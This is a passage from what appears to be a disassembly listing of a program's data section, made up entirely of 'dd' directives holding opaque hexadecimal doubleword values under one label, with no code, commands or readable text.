		dd 0DF5721BFh, 0C8EF2290h, 0DD827572h, 0C6C08D6Eh, 4010ED04h
		dd 81E56675h, 7F9D6928h, 38D0E880h, 0EA0CA055h,	3372451h
		dd 4E8282E4h, 0B860E0D7h, 0B71DF8DDh, 8A0A5D62h, 5C070C2Eh
		dd 20698BBCh, 36BF61FCh, 0B898E3h, 0D4154B38h, 0DF684AB8h
		dd 6BB0CA0h, 14556626h,	584ED58Ah, 4A88A01h, 644E0B42h
		dd 0F8898F88h, 0D3F085A7h, 21BC8C50h, 36D005D5h, 1B82396h
		dd 0A16AB105h, 0F05DEC46h, 0F8CFE58Ah, 58FFB761h, 5C209061h
		dd 489084BCh, 408C4845h, 2EC1EADDh, 8CC88329h, 0E41AC5BEh
		dd 9B9E0B80h, 7C996680h, 10FC9832h, 0AD32D75Eh,	0A19F912Fh
		dd 0C76C87D8h, 0A1510AF7h, 66885F0Bh, 0BC99E08Bh, 2413AB04h
		dd 94981013h, 0A5C76D87h, 4908508h, 324D920Ch, 51802804h
		dd 0C99A3E8h, 8C68B91Ch, 3C58A871h, 0B714AA04h,	0CCD8884h
		dd 36C31E0h, 45F471F4h,	942566A2h, 0BA672081h, 31280405h
		dd 28BF32D8h, 0A3DB5180h, 8A090C99h, 9A6000D7h,	99D4094Ah
		dd 823F60Ch, 0DF69E093h, 0A891FB12h, 0A12B5091h, 997C9A80h
		dd 0EB0B0C30h, 9CADACBAh, 0A21EB451h, 555B194Eh, 0E7A07C8Ch
		dd 47C08185h, 24BCD8DCh, 8C22F414h, 3B74B1D1h, 7C610FB5h
		dd 42855750h, 0E484FB55h, 0A8994A51h, 20F0816Dh, 0A579CADFh
		dd 0BE306AD8h, 82B25849h, 0CF9D4CA4h, 35CEF22Ch, 0F31B45F1h
		dd 0F176B1A3h, 9F891080h, 651725E4h, 0D23E0498h, 400E44E2h
		dd 0D752635Eh, 8CF506CCh, 3184726h, 8163518h, 701FCCBCh
		dd 4B2275D2h, 9C80108Eh, 0A453C922h, 4EB6043Ch,	1479516Ch
		dd 0E73C70E8h, 0C447F1F7h, 3C47D895h, 0B6859504h, 64FE7847h
		dd 882318FAh, 2600AD8Ch, 89F8ABEFh, 38713E4Dh, 7280C5D9h
		dd 55939ABDh, 96011797h, 599C6AABh, 3430E99Dh, 83DE4481h
		dd 0BD9D549Ch, 79642740h, 3DD9FC9h, 7423ADE5h, 25A03A6Bh
		dd 0D91A2492h, 0C031DEDCh, 360F848h, 0B34A3A94h, 2CF04C1Eh
		dd 2F00FCC3h, 0EC21DBF4h, 7CAD9ACh, 12AA6AADh, 65AE4023h
		dd 2B00077Bh, 0E785EBCh, 0E25CB088h, 9A81009Bh,	68A8F6D6h
		dd 80FAB7B4h, 51066499h, 90C0FF36h, 0C6AE4408h,	0B3E40900h
		dd 0B619981Dh, 59700E1h, 1AB11743h, 49189FBDh, 0A539FA23h
		dd 0C27B40h, 4584A23Ah,	8EEF4110h, 0FE31D800h, 0D55EB91Fh
		dd 82B6002Dh, 6C172CCFh, 0D300882Eh, 139027F5h,	8FB173h
		dd 41153F4Bh, 0FFDAE6EEh, 0BDCFF007h, 8483C208h, 0AFE9E071h
		dd 28F37CFAh, 3E144BBCh, 0FE036EFBh, 8B761B06h,	64CF2BD0h
		dd 7E019878h, 17296AE0h, 0EFF8C248h, 0FB4E00BEh, 1AC6A5DAh
		dd 0F21F34EDh, 498075E9h, 0C24BFD15h, 147B008Fh, 0D0FBF4BFh
		dd 4000B2Eh, 0E05C6AFh,	1899E9F6h, 20DBA9A3h, 0B00A164Bh
		dd 204A6E88h, 209C4273h, 0C3A98006h, 98DB2850h,	18EBFD28h
		dd 0FD1A405Dh, 0EDF31900h, 60BBB690h, 271400CCh, 303810F1h
		dd 0C8180233h, 1D82506h, 2C731890h, 0C5B348B8h,	4BF91A00h
		dd 0DF7A788Eh, 0FEA36F1h, 0B41E1868h, 0E4DE6A7Eh, 29880FFFh
		dd 9EC30C4Bh, 0D5FC00BFh, 1950EE7Fh, 99001A39h,	6F7780C5h
		dd 0C1EE607h, 1D9A6D89h, 3500C260h, 0A96ADAEDh,	0E79B4416h
		dd 0ACA51980h, 0F6379F8Ah, 681F9807h, 0E8B0D33Ah, 37BD4CF9h
		dd 57E9FE99h, 80E2B11Ch, 106DE025h, 6BA93E60h, 338959EDh
		dd 0BC980DC4h, 2140A130h, 59F50Ah, 0A4F0FB88h, 6FD38790h
		dd 9B66A014h, 76960050h, 40D8AE3Ch, 758C7A90h, 0C90BBh
		dd 7FFC70A7h, 53B0E2D0h, 3F0D277Ch, 20548F9Bh, 1916E9FFh
		dd 6A8DB040h, 7AD87375h, 0F2F0B1h, 5AFDA97Ah, 0D9D4FB99h
		dd 26329100h, 67FC9223h
dword_4FFE38	dd 6F40643h, 38B41ACFh,	1EB97620h, 0C701918h, 9A582372h
		dd 0ACA91E6Eh, 19108F8h, 4A47FB3Ah, 0E0B5BED6h,	0C67C67BCh
		dd 0C4A4F815h, 25037AECh, 0DDFB168Dh, 8C4CDDF0h, 30886003h
		dd 0E229C0B3h, 0F4013DDFh, 47DCD63Ah, 898DE43h,	0E80321B7h
		dd 3BFA3D00h, 38FBFD74h, 0AD7B0143h, 0A48B1B97h, 9E2980B9h
		dd 0DC2529EAh, 0BDAE070Ch, 0C2971917h, 7848F2F5h, 204D91Ah
		dd 1F6FE581h, 49781482h, 2180C618h, 9280FA82h, 200D825h
		dd 6E30E849h, 48ADA38Fh, 1F7D5CE0h, 527391C1h, 406474BFh
		dd 6CF18BF8h, 11C04410h, 0BDE39573h, 5DB0052h, 9423786Eh
		dd 0C7F40236h, 0E78C7501h, 81D888E2h, 60EFA448h, 7A3451F5h
		dd 0A700C795h, 7690CD9h, 942554h, 4CF32BF8h, 9222F4B4h
		dd 0F7A39C3h, 0FF79033Bh, 0D2ECD8C1h, 0C455B5C0h, 54DF390Fh
		dd 0F7532112h, 0EC483852h, 64A50E80h, 0FAAF77E8h, 0C18A5184h
		dd 192808h, 77F9F874h, 0BA31C099h, 8FEB7E8Ah, 9778EC66h
		dd 21236081h, 947E92E0h, 0FF0B0A00h, 218C4EE6h,	0FA1C2654h
		dd 3098228Ah, 0C831149Bh, 0C00BA23h, 50B3ADDBh,	134E2276h
		dd 0DDBB4Fh, 6D88A980h,	31C0129Bh, 2A255F5Ah, 0F186026Fh
		dd 0A42815F2h, 90001844h, 8DFBAD52h, 7556BECh, 38662EDh
		dd 40C715F2h, 0FA93A4ACh, 0F878BAB9h, 17DED4F5h, 0FB2CB300h
		dd 29D33654h, 80010339h, 0C1F2212Eh, 74303903h,	0BB64ECDEh
		dd 0CDE340h, 496B1E19h,	1C8F8CACh, 4ABA7E01h, 8340E99Ch
		dd 3EF2E8h, 97E8C932h, 0B21571A2h, 20F4ED2Ah, 5100C8ECh
		dd 668F96ABh, 5495F0h, 68DCC19Bh, 0D546CBBEh, 7FE9ED00h
		dd 0F9DAE802h, 1C7E35C8h, 23A83AF0h, 3A803DB5h,	46C4B3A8h
		dd 0B4A0C917h, 49497415h, 36197C20h, 0E218CBA7h, 0DC48C9E1h
		dd 0C01B449Ah, 284F2C00h, 0AE2E311h, 0FB800418h, 0CEDD1E3Ah
		dd 0C03A8894h, 2D25E775h, 0C17CC6F0h, 4F1070A0h, 0BB9B29C0h
		dd 7276293h, 71D1C34Ch,	29185077h, 0A607F043h, 45F71A25h
		dd 7BB51547h, 3E84010h,	0E657776Ah, 7F210078h, 97874AAAh
		dd 9212EAFFh, 0F014949Fh, 3B6E0278h, 6041E39Bh,	14C68AB4h
		dd 88285336h, 0E0644448h, 59E8606Ch, 0F5C41086h, 8037C8BEh
		dd 7E59EFFDh, 0BB314EC6h, 0FCF248F7h, 6C541C32h, 44CC908Eh
		dd 7F03E71Ch, 7580F1F4h, 0E440E594h, 0CEE2D648h, 18B898B8h
		dd 31209AFAh, 0E41ECC90h, 2C804B4h, 7F22803Bh, 0EA9206A6h
		dd 0BCD98E12h, 3A529804h, 80E4C241h, 0F924FF1Ch, 8560F49Ah
		dd 468FE87Eh, 0F8AE1084h, 7E8DD900h, 56683FD3h,	742AD001h
		dd 14FAE4C0h, 93932464h, 123C284Ch, 628E3B01h, 420B64Ch
		dd 24323D71h, 41D4EFF2h, 0F0CC7A7Bh, 0DF00A788h, 5EAB15E7h
		dd 79165BBh, 0C4BE645Dh, 0D3F931ADh, 1A49BABDh,	6041C293h
		dd 0B0B21264h, 334D016Ch, 6024571h, 437C2009h, 0A851DC41h
		dd 390017E6h, 2B3B8067h, 50F75CDBh, 0BC30FA00h,	0F54361C3h
		dd 0FF661FE3h, 56BB8019h, 392B88C4h, 697643Ch, 6817A33Ah
		dd 409838h, 8D619A24h, 5D7715C1h, 32B3F8A9h, 621D7E58h
		dd 890129D8h, 0D053C515h, 0A4007823h, 9BC6424Ah, 0DF00BC08h
		dd 3376B217h, 72EBF4h, 0EDA0D561h, 9FE64777h, 0DA3FBB14h
		dd 16D23E4h, 8FE77E86h,	0C01F188Ch, 7E8EDC21h, 0CB0047B2h
		dd 963FFA0Ch, 0A695BD3Eh, 0FEE017A4h, 8E1020C7h, 0E43A7BC5h
		dd 4BA962F9h, 0C48C408Ah, 0FA5B282Eh, 7A5CA1ACh, 0F02260h
		dd 399151FCh, 16BEC5BCh, 154B9A06h, 9414A10h, 0FA09EA84h
		dd 73485C80h, 2492CFC0h, 0FB9CBD18h, 509A089h, 2E236F5Ch
		dd 0AD088899h, 3EE54C00h, 248617D4h, 29883DE3h,	2FB31B00h
		dd 7B699C52h, 31159A30h, 38367B9h, 98FC4ADBh, 38C1D0CDh
		dd 1F013AD3h, 417C1601h, 3EC69982h, 8464CE5Bh, 10C1BE22h
		dd 13F7E79Bh, 9C207115h, 0EF682BCh, 91B17362h, 0E7140813h
		dd 7F59EBC0h, 22FD46C4h, 0F2F235h, 0E49A0E59h, 0B3273A1Ch
		dd 9B75D100h, 584B9221h, 0D3CB8A8h, 0D51F3EC4h,	29DC3098h
		dd 66FA4D00h, 9348242Bh, 25FC9018h, 84108675h, 420182E2h
		dd 21F16AEh, 0D0297A23h, 0B8786098h, 39363380h,	233F5BD6h
		dd 427E2F09h, 8BAEEC80h, 10B0FC6Ah, 1DCDAF20h, 0F709AC05h
		dd 0BF567338h, 7B939906h, 9118CB24h, 1835D198h,	4041006Bh
		dd 0C0846B8h, 7D34AB90h, 0A4C550D8h, 2423743Ah,	11BD4F00h
		dd 48A95F31h, 0E57E58EAh, 0B07B8F00h, 6460AE6Fh, 74D19BBCh
		dd 27E0891Ah, 688F4D19h, 0F53DE480h, 458C6E3Ah,	3D6DC0B4h
		dd 0C9888300h, 0AB46C8EFh, 2D49416h, 0B62EB827h, 9EA33F00h
		dd 2418981Bh, 41A8E361h, 0F4695539h, 89521917h,	3D26713Ch
		dd 0A424F003h, 3EB0270h, 9339553Dh, 580F521Fh, 0FD87C76h
		dd 8B11B987h, 0DE078823h, 80FD6C4Ah, 967D557Ch,	1F5CE71Ch
		dd 409DB480h, 58AEFF43h, 1813FC97h, 222C9CBBh, 396E8901h
		dd 0C653A05Ah, 20462074h, 9362C16Fh, 81F66B42h,	80E170DCh
		dd 3AC87039h, 0A8EF2021h, 9ECBC067h, 0D02A756Ah, 2413A4F2h
		dd 50810894h, 2E003DFAh, 770022FEh, 0B916329Ah,	71B0DF1h
		dd 1D6B9B8Dh, 101C478Bh, 0A19DA8Ch, 50F67F00h, 289577FFh
		dd 0EB8900E2h, 0ECB9270Dh, 8D002333h, 721A17D8h, 0E8246BEDh
		dd 6F28CC94h, 783E1C10h, 7E2000ECh, 0B925318Fh,	270E24EBh
		dd 0B1D035Ah, 50E797BBh, 1028908Dh, 0DE8B91Fh, 1CEE8040h
		dd 0BBF8B71Fh, 5D042308h, 241285F8h, 0B47E10h, 23F2B711h
		dd 18A51926h, 21F59B09h, 87B60B8h, 0FE0AAC64h, 0A785169Fh
		dd 0D06C62A0h, 71F4861h, 92336ECFh, 0E0811884h,	8E024163h
		dd 73EA4CC0h, 0EF99D817h, 8396000h, 985B8B2Fh, 8C9407B0h
		dd 4B666A05h, 20038887h, 90A3FE01h, 0C0C83E59h,	3C316473h
		dd 0D8693E46h, 0F3182434h, 7B6A0500h, 400E4B3Eh, 991AC697h
		dd 0FE741BD9h, 33C30825h, 0F38BF918h, 0A469C6C0h, 19FA027Ch
		dd 63B61A6Fh, 264EF03Ch, 84CCF83Bh, 18995173h, 20906D68h
		dd 6C20D47Bh, 81C833F1h, 810236F8h, 620A56D0h, 8210E8AFh
		dd 61EC9A74h, 121D5071h, 72E3E1F3h, 0F78D14B4h,	0B9A1A38Ch
		dd 311E5914h, 4A7E80F0h, 884231DDh, 39B064F2h, 180BBE81h
		dd 2095370h, 3D91B020h,	290379A4h, 0E4FEA1E8h, 440AE548h
		dd 51948C6h, 28274A08h,	2B1B0212h, 44528B64h, 0F8A777A0h
		dd 90EF004Eh, 0FF742E2h, 8C1CB77Fh, 0D8DC1B33h,	0E17810C0h
		dd 0F076230Dh, 7863E91Eh, 5509E2Ch, 8731EB8Ch, 66BC054h
		dd 1FE88DD6h, 289C7800h, 45F413DCh, 44A6E6h, 76C3ADEFh
		dd 0D3ED90AAh, 0A61F04ACh, 0A9149770h, 208D00Ch, 339D6FEFh
		dd 31C125ABh, 66DBFE30h, 2B705878h, 9A1988FDh, 0A04EB610h
		dd 8224E491h, 103294CCh, 0E4D00CCAh, 91C34886h,	3ADEF36Eh
		dd 1052CA59h, 2218109Ch, 8C707434h, 2AF8088Ch, 82700282h
		dd 0B28884CDh, 47E09CDBh, 0C4ACBD82h, 10BB0732h, 75028C3h
		dd 0FDB9D9FEh, 0FF180328h, 0FD89097Eh, 0C324FC12h, 0F144A25Fh
		dd 12F789F0h, 48F524F6h, 22FB91F4h, 0C8C944FAh,	0CE12CF89h
		dd 0BAC0CD27h, 56D88E2h, 3926EFDh, 0C3FC4606h, 0C152B819h
		dd 4A9DD84h, 8259575h, 7BCAA28h, 0F91DE52Bh, 8917C3F0h
		dd 48E0C5E3h, 0A11FC33Ch, 20006A21h, 7FE532F8h,	97F1EDF7h
		dd 8FF1C8D1h, 3ED3D0E1h, 17081840h, 0E8106A4Ch,	4A21A201h
		dd 0E0F771C2h, 4894C013h
		dd 487FED7h, 1E9255FFh,	0EA3814E3h, 0F6128E81h,	11078070h
		dd 384AC1CBh, 0EE7E14B0h, 6F1FB22h, 6DED90D3h, 0D14509D0h
		dd 42F1804h, 4180BBEAh,	89BEC5F2h, 4AEE0F0Eh, 107BCA8Dh
		dd 3880A30Ah, 38C90057h, 3D5AD07Eh, 170BBE1Fh, 18C6180Ch
		dd 99A700A6h, 8BC34FEAh, 43F9D0CCh, 43E0911Ch, 20A1D3Bh
		dd 281EE209h, 70EABD45h, 7BCE6E4h, 28C61BE0h, 31169Ah
		dd 0F47E6A53h, 37A4F2D6h, 303D660Fh, 1CAC18Fh, 0BCCC4DBDh
		dd 0C5E7F883h, 17333679h, 2094EC60h, 0C6860741h, 8FCC9177h
		dd 8D780280h, 993924DBh, 2F9A805Eh, 6E97AF73h, 42F512FAh
		dd 4020BA9Dh, 15C280h, 8B7BA634h, 475C4319h, 17071200h
		dd 0B49AD076h, 3B480316h, 0BBA4CAAEh, 2C663900h, 7D214342h
		dd 6E0F00DBh, 87A35103h, 2B019894h, 0C697E1F3h,	0A6C47791h
		dd 61D2F450h, 0FD19906Dh, 0F23DFCF8h, 8EB0361Fh, 3F433903h
		dd 81D00051h, 7A5288BCh, 15178CA2h, 40E8D17Ch, 81BAA418h
		dd 9A765790h, 4F3FC07Ch, 0FCB700C2h, 47B0511Eh,	35DA0087h
		dd 31AA9683h, 0FDF8588Bh, 0A8B3841Eh, 0B4A39200h, 4C6A39h
		dd 89943DABh, 8C95A2AAh, 3C145557h, 3CE11880h, 3E38E430h
		dd 3D08A587h, 9307A386h, 83A0E096h, 133A98Dh, 34201D54h
		dd 83D9988Eh, 0A1AE8990h, 0A4180059h, 37D88D92h, 0D93A9988h
		dd 28806C2Fh, 1DA4E894h, 3DE4A28Fh, 0A1DA9A8Ch,	3D30AD78h
		dd 0B396317Fh, 0DA59C2E4h, 0C989A3Bh, 84A81D6Ah, 3301AD88h
		dd 0A2E5A183h, 88409A87h, 51E09F96h, 0A8D0143Eh, 47200F92h
		dd 67074B22h, 88494CA9h, 4C059305h, 1800132Fh, 0B0AC320h
		dd 843120Dh, 91050039h,	0F52AEA07h, 0DB8AD100h,	83D0ADD7h
		dd 60BA00F2h, 0A137CAC2h, 39F84B20h, 99461D00h,	0F1109E62h
		dd 0F3AA3067h, 43810871h, 9420DB70h, 0E9AD1D61h, 0E73B3F5Dh
		dd 742854B0h, 0ACE8EDD5h, 63FFD410h, 0A177B719h, 291842EAh
		dd 0F109D20h, 47AA2868h, 5FB83034h, 34179F31h, 0D618AD66h
		dd 13C91159h, 2809106Bh, 2A27111Eh, 264A4040h, 573029C7h
		dd 0C365B84Ch, 53E91159h, 4C153018h, 0A8D92E79h, 0C1D5B7A4h
		dd 85F3ED59h, 29A843F1h, 200164B3h, 0F563DE11h,	0D04760BBh
		dd 4C3246C4h, 8C390118h, 9ABB230Ch, 0F7B83189h,	0F263B983h
		dd 6803F4EAh, 49406BD4h, 0C8E86462h, 0E0D54019h, 30B92023h
		dd 0E8F11E60h, 756EE382h, 56F92631h, 4C285418h,	58DD5191h
		dd 6B958401h, 6C31F10h,	39781C6Dh, 189B94F0h, 30F4E3D5h
		dd 0F406C15h, 0E44CA854h, 2658A2EBh, 0F49141E8h, 47B30DCAh
		dd 0F0394B1Fh, 0F329E8D1h, 8F08A4A0h, 0FA495669h, 21B8B674h
		dd 0EB64013Eh, 3E17C022h, 0B24B23C3h, 0E811F550h, 10F8E20Ah
		dd 6A43B050h, 0A5A9BE1h, 23F50611h, 7C075038h, 62FC1F85h
		dd 0FFA1A046h, 22280A76h, 0A1C84650h, 280A59BBh, 0B046282Fh
		dd 0A4827A1h, 18082A21h, 0D3237EAFh, 64B7094Dh,	349E5C91h
		dd 4E44A96Ch, 1E6099D1h, 89F220BBh, 8060EF48h, 990CCECCh
		dd 363B00B9h, 353AF96Eh, 10C0BC71h, 0B11224EEh,	64F13E96h
		dd 19C37219h, 0B9098176h, 0F86DFD95h, 0C6723888h, 2612C480h
		dd 0C83CCD71h, 720CC510h, 7C39211Fh, 3D7F187Ch,	5BB4952h
		dd 0D6088E0Ch, 0FE3B1030h, 0E599CAF4h, 6F50E03Ch, 4E603D7Eh
		dd 0C497011h, 1A760373h, 3132C3E9h, 87D4901h, 88537723h
		dd 185E20E2h, 0E718C5B2h, 9A2827F2h, 0FF5707FAh, 27A2EF8Ah
		dd 4A49806Ch, 5D2CF53Bh, 0B21E3C63h, 54D4BA00h,	1DC8B661h
		dd 98B9B4h, 0DBC75F68h,	0C9006342h, 0B65D6CCCh,	0F84CEDF7h
		dd 3F32F6D7h, 3080DBA8h, 0FF68D9B2h, 507CFD3Ah,	61D78D06h
		dd 140C567h, 68CAC837h,	0EDD4922Bh, 0F0404929h,	0CF3CC52Ch
		dd 369A0052h, 0DBAF62B2h, 304CF161h, 0D29805BEh, 30B62D5Eh
		dd 5FD7931Ch, 2FCED88h,	2C61D4ABh, 609AD2ACh, 6F3BAC25h
		dd 2C5F0C04h, 1E2D70B6h, 5A00888h, 63EDC9C2h, 0DBD92818h
		dd 0BEC8D054h, 6CEDB71Eh, 2C2D7C4Ah, 8D63D5E3h,	0ED62C403h
		dd 885AE388h, 0A65EE26Dh, 55EE0F38h, 1E1149Fh, 0F753D5AFh
		dd 1C1429A5h, 0E2003A40h, 0FD9EE859h, 74B92969h, 0AC5A2AD7h
		dd 0C9AD05F8h, 2A86F075h, 0EB04D194h, 0A85743E0h, 4B48EA01h
		dd 523EF5A9h, 1631BF0h,	62BFC85Ah, 30D3B632h, 0DA7C9E34h
		dd 2DE8009Ah, 0BE289F60h, 0F159C976h, 29D89821h, 0A20C01C4h
		dd 6CC8B755h, 62403030h, 0ED285A63h, 0C4E2DB22h, 6C4720CDh
		dd 0CFC93FFFh, 50EC0C77h, 83749129h, 0C7EBA409h, 60BE9028h
		dd 0C07F0485h, 284CF988h, 61D5AD01h, 51C6A61Eh,	9B8D9064h
		dd 631409B4h, 52165800h, 0CC58B22Ch, 136D3C54h,	0D0032A3Eh
		dd 0C06F6362h, 0C4B05F69h, 0C0C62C40h, 0CEC71EC0h, 5B325403h
		dd 0A6335EBFh, 938CA310h, 0D3B7C889h, 0B228166Ch, 0BA7007C9h
		dd 748FBECAh, 80298D04h, 0C76760A0h, 0B32D10C6h, 0B2632460h
		dd 0CA5830ACh, 0B63C2B6Ch, 40663016h, 74AC368Dh, 0C85E6FCBh
		dd 0CF03600Fh, 307B615Fh, 0CB781E7Ch, 2D6CA1C7h, 2963C6C0h
		dd 54C80AB4h, 48986D2Bh, 0A5567D04h, 0C6AC07F8h, 0D85B8568h
		dd 0C40BE8D4h, 301E51BEh, 199F60h, 636AD78Eh, 2C78C95Bh
		dd 18A4B893h, 0B73678E1h, 9866F020h, 29601D1Ch,	2E5F01C7h
		dd 0D58DD4B6h, 284DF0C2h, 65CAAC16h, 0FC247C1Eh, 8ADD3B3Ch
		dd 6014AE5Fh, 505F0423h, 682CE988h, 385C45Dh, 0B482DDADh
		dd 13E4CEB6h, 3254D95Bh, 98C0B90Ch, 0DA7CAB32h,	21E9B6E8h
		dd 280BD3D8h, 12DBC833h, 5B1C40C4h, 0C909C5D7h,	29C4855Eh
		dd 502CF3E4h, 5187C0C8h, 818B6533h, 0C6295520h,	0C7631030h
		dd 0C3AC2D69h, 0C9A22A53h, 5E7C20E4h, 3CA42CA5h, 84643C3Eh
		dd 2C54CAC8h, 797534C3h, 5C8D0358h, 335DD3ACh, 0E83BB0E6h
		dd 18442950h, 0C40950A4h, 0FF38B505h, 0F0D50423h, 55E4E29Fh
		dd 84278C5Bh, 0DAC333A0h, 882787EDh, 2C5E187Ch,	0C85DDEh
		dd 0B63048CAh, 50B461D4h, 0DBA8007Dh, 0CAC66642h, 17D85158h
		dd 64403DD4h, 0DDB62A6Ch, 0D940AA68h, 0E50A2F8h, 4CE69A1Eh
		dd 63C89681h, 77207029h, 0D2B26617h, 0BEB63804h, 0E8D944F0h
		dd 0D4AC2767h, 685D3C91h, 473687D4h, 5FFBC740h,	0C8B20330h
		dd 0DBAE285Eh, 70A532C1h, 0BA17678Ch, 900369D8h, 0A3073DF7h
		dd 316E4FBh, 0CFB33050h, 75DB2101h, 52D7C932h, 9ED5B2D0h
		dd 0D8689250h, 4830EDC8h, 984D68ABh, 284C14F3h,	2C2980BAh
		dd 0FC5C7634h, 325417F8h, 340B50DDh, 62D5AEE0h,	6E090BEh
		dd 0A051D4BAh, 3AAD16F0h, 0B1009249h, 63D5C92Fh, 0CE30C41Eh
		dd 3651216Ch, 54C81DC7h, 0C8CF145Dh, 300E5B27h,	0BEE0CC96h
		dd 80108C4Eh, 0BF10D438h, 0BA324301h, 0BE4D61C8h, 0B86718E8h
		dd 748AFE28h, 0C90224EFh, 0CDC201Ch, 0AF6765CDh, 0C3076220h
		dd 0B85F63CAh, 0AD296C41h, 0E05DB838h, 94C43BCAh, 0A87C8098h
		dd 9C5AF48Ch, 0CFB5C0F8h, 5B36625Fh, 0EE88D8E6h, 0D9DCA32Dh
		dd 0D044981Eh, 691ED81Dh, 5ED29901h, 430B05Dh, 808B5019h
		dd 0A08905Fh, 0D94EC7A9h, 0F0D43AB0h, 6060C25Bh, 0DCF9F6ACh
		dd 2B286D98h, 0E9DC645Bh, 58C80ACAh, 5762DC4Ah,	0C1605A37h
		dd 0A9BFC930h, 81D46819h, 0AF2E5DD7h, 0A65F4420h, 0C96494F4h
		dd 21C6F0E9h, 3E303820h, 0CFA51D4Dh, 0D71932DFh, 0C0A08EE8h
		dd 20D44CF0h, 0EABF185Ch, 2731B100h, 0E78DF8FEh, 8AF5600h
		dd 8850714Fh, 223B7A67h
		dd 1900BDE5h, 475C79A2h, 33F21A8Fh, 1608973Eh, 0A9FE2100h
		dd 55DE2F79h, 49C6026Eh, 0FE576D0h, 0F13EE820h,	3823CFBh
		dd 23B90500h, 7EF883C3h, 0E95C1606h, 1D992732h,	0C059E80Ch
		dd 794F3ACCh, 0EA005182h, 3DBB7EA1h, 0E85BE0BAh, 0C0607DFEh
		dd 0C76136B8h, 0E87183D8h, 0EE3C3000h, 42E6622Dh, 7FFB1845h
		dd 4305C9B0h, 0EC33C200h, 0F8A3CEC3h, 3C2F00DBh, 0DEA0CDEFh
		dd 36307B72h, 0CA3B2015h, 0A8491496h, 0D1E1207Eh, 0A6B18D4h
		dd 0F24EAABEh, 568E80B4h, 4A0CE018h, 6D3A770Ch,	0C09A0802h
		dd 184EAD21h, 0A401CAB5h, 484A80E1h, 244B9CCEh,	0B1C09588h
		dd 2C294EBh, 0CE473789h, 908FAA6Fh, 6A8A2D8Eh, 421E8FFCh
		dd 0E680C6EEh, 25270FBAh, 0FF17C30Fh, 0D107A61Ch, 0D04C0030h
		dd 31BED4ABh, 915553Ch,	18D021CFh, 0F879824Eh, 24160087h
		dd 0BF7C328Eh, 4900701Fh, 47DE5A12h, 0AA0DA5Fh,	57FBB158h
		dd 0DDC04D0h, 52320031h, 48E330B9h, 976386Dh, 4D3E29C7h
		dd 0BE351C02h, 9EDE8A20h, 56AA02D9h, 0A355C245h, 1271CB1h
		dd 0A1803703h, 200610B3h, 0B8008853h, 4555E228h, 0ABA0B7CEh
		dd 776B8188h, 0FB444080h, 7A52CC80h, 7E0B2506h,	493C33h
		dd 35C2AB5Bh, 0A29B0CD3h, 0D1FC3251h, 9E93E0D6h, 4C101B61h
		dd 885087B5h, 6606430Bh, 0A8BA1808h, 1268D722h,	72732FC6h
		dd 0B8088230h, 0A09C4427h, 93D5CC2Ch, 5284C44Ch, 9B09D090h
		dd 0E9610365h, 5A6A3CC3h, 4118E67Ch, 5B5958E6h,	71D7B8E3h
		dd 0BD910CD2h, 6508FADAh, 0EB9621C0h, 198E6032h, 407E0A8Ch
		dd 8E11843h, 0E2D25532h, 0E2209871h, 0AB83013Ah, 9603C43Bh
		dd 0D1B040A2h, 337E4EEDh, 5516ACA8h, 0AF017D7Eh, 0B7572249h
		dd 44D21DB1h, 3CF70030h, 0B85E277Dh, 0AA06A62Ch, 3432C0BDh
		dd 0BB020121h, 161C4346h, 7A72E0E4h, 83503F7Eh,	2A442294h
		dd 3C8C04CBh, 0D09F5CFEh, 8B0D6214h, 18E0E96Ah,	0C51EA8EEh
		dd 0F1C323Dh, 6E24C0Ah,	0EDD030DBh, 2745052h, 0AF9C7D4Fh
		dd 0FD001C79h, 0B2367D56h, 7BD6A43h, 58287364h,	81C734ABh
		dd 800EE694h, 0DF0C8371h, 0E74AF0h, 76FA12B0h, 86ED9FEAh
		dd 73BD7006h, 2D8E008h,	0A12C57DAh, 684039B6h, 0B43283D0h
		dd 0BD735025h, 205C0890h, 8C0647C0h, 7C178291h,	0EF802C11h
		dd 0D6473A53h, 54995B26h, 0B7B54E41h, 6FB60BE8h, 850288DFh
		dd 20655564h, 0CE311F64h, 0D6460054h, 60806DBFh, 0F4BECAC8h
		dd 200E1145h, 8121E211h, 0A4740627h, 5F18C186h,	7604906Eh
		dd 0BD96E34Bh, 1D3EF500h, 437AC74Fh, 0A8C02050h, 0E09289F0h
		dd 8B6396A0h, 66EE6D00h, 52802909h, 8E6500F9h, 6014FF9Ch
		dd 0AF1DA5FCh, 985806B8h, 20013170h, 8A0A6F17h,	0C8BCCFD6h
		dd 5644944h, 10AFA3B8h,	2BC8C8C4h, 7D3DF680h, 4C7F058Dh
		dd 3C824446h, 0FE637E67h, 0BBD21105h, 0C01308BCh, 10628404h
		dd 3E140812h, 5632DEC0h, 22FA46D2h, 0E67B0066h,	0B0273E32h
		dd 51605F38h, 0FBD683C0h, 0AED809Bh, 30CA8B18h,	143CB360h
		dd 0B0CBC244h, 4664EB10h, 74DC1D84h, 920DB00h, 52FFB243h
		dd 5FF24CEBh, 13FCF730h, 4CD2C7Fh, 0C2706E67h, 0E52283F0h
		dd 6090AF0Bh, 0CD0F8C79h, 6ED503E2h, 0ED75148Fh, 44E1D2DAh
		dd 0CEEF01ECh, 5258B3E0h, 92109CC5h, 0C03D882Ah, 0D25732DFh
		dd 9A80F243h, 511832E7h, 3087C08h, 0D1FC0261h, 8C4804ABh
		dd 0A6EE2666h, 0CEBF3905h, 9001F3C7h, 5E033845h, 0EB23EC72h
		dd 0A4799E0Fh, 6867AF47h, 79A60282h, 0D5496069h, 38F10070h
		dd 0D06B710Fh, 0EB60A0B3h, 0CE5821E8h, 0F76C31BBh, 8F0DE510h
		dd 4013B641h, 9C5FA53h,	954D00BAh, 64A5B469h, 0C614355Dh
		dd 439437ACh, 3060A288h, 20047AFh, 28782B6Dh, 25CE448Ah
		dd 682789EFh, 4604E817h, 1894F8E6h, 0F005A063h,	8813A8ABh
		dd 60395FE7h, 67DA12DCh, 8CC6281Eh, 0A1201B48h,	42105328h
		dd 76018462h, 0C4880C0Bh, 0C862BB4Ch, 88574F15h, 81C22484h
		dd 57C7ECA8h, 7AE4F08Ch, 8301256Fh, 0B53296E0h,	8830CAB1h
		dd 0B0DCA897h, 8C8048C4h, 840AFCC2h, 0EF68BC8Eh, 55126601h
		dd 388A3B64h, 71F8ED4Fh, 4CA318E6h, 972BE079h, 1311F8h
		dd 6D798AF9h, 0EDD2785h, 0CCC6AC74h, 4AC3512h, 25EE2870h
		dd 6788348Eh, 35247FC7h, 0C21D40D0h, 611009Bh, 57BB0A1Ch
		dd 12133A94h, 0C004AD69h, 1F1288ABh, 2872D300h,	6505FD18h
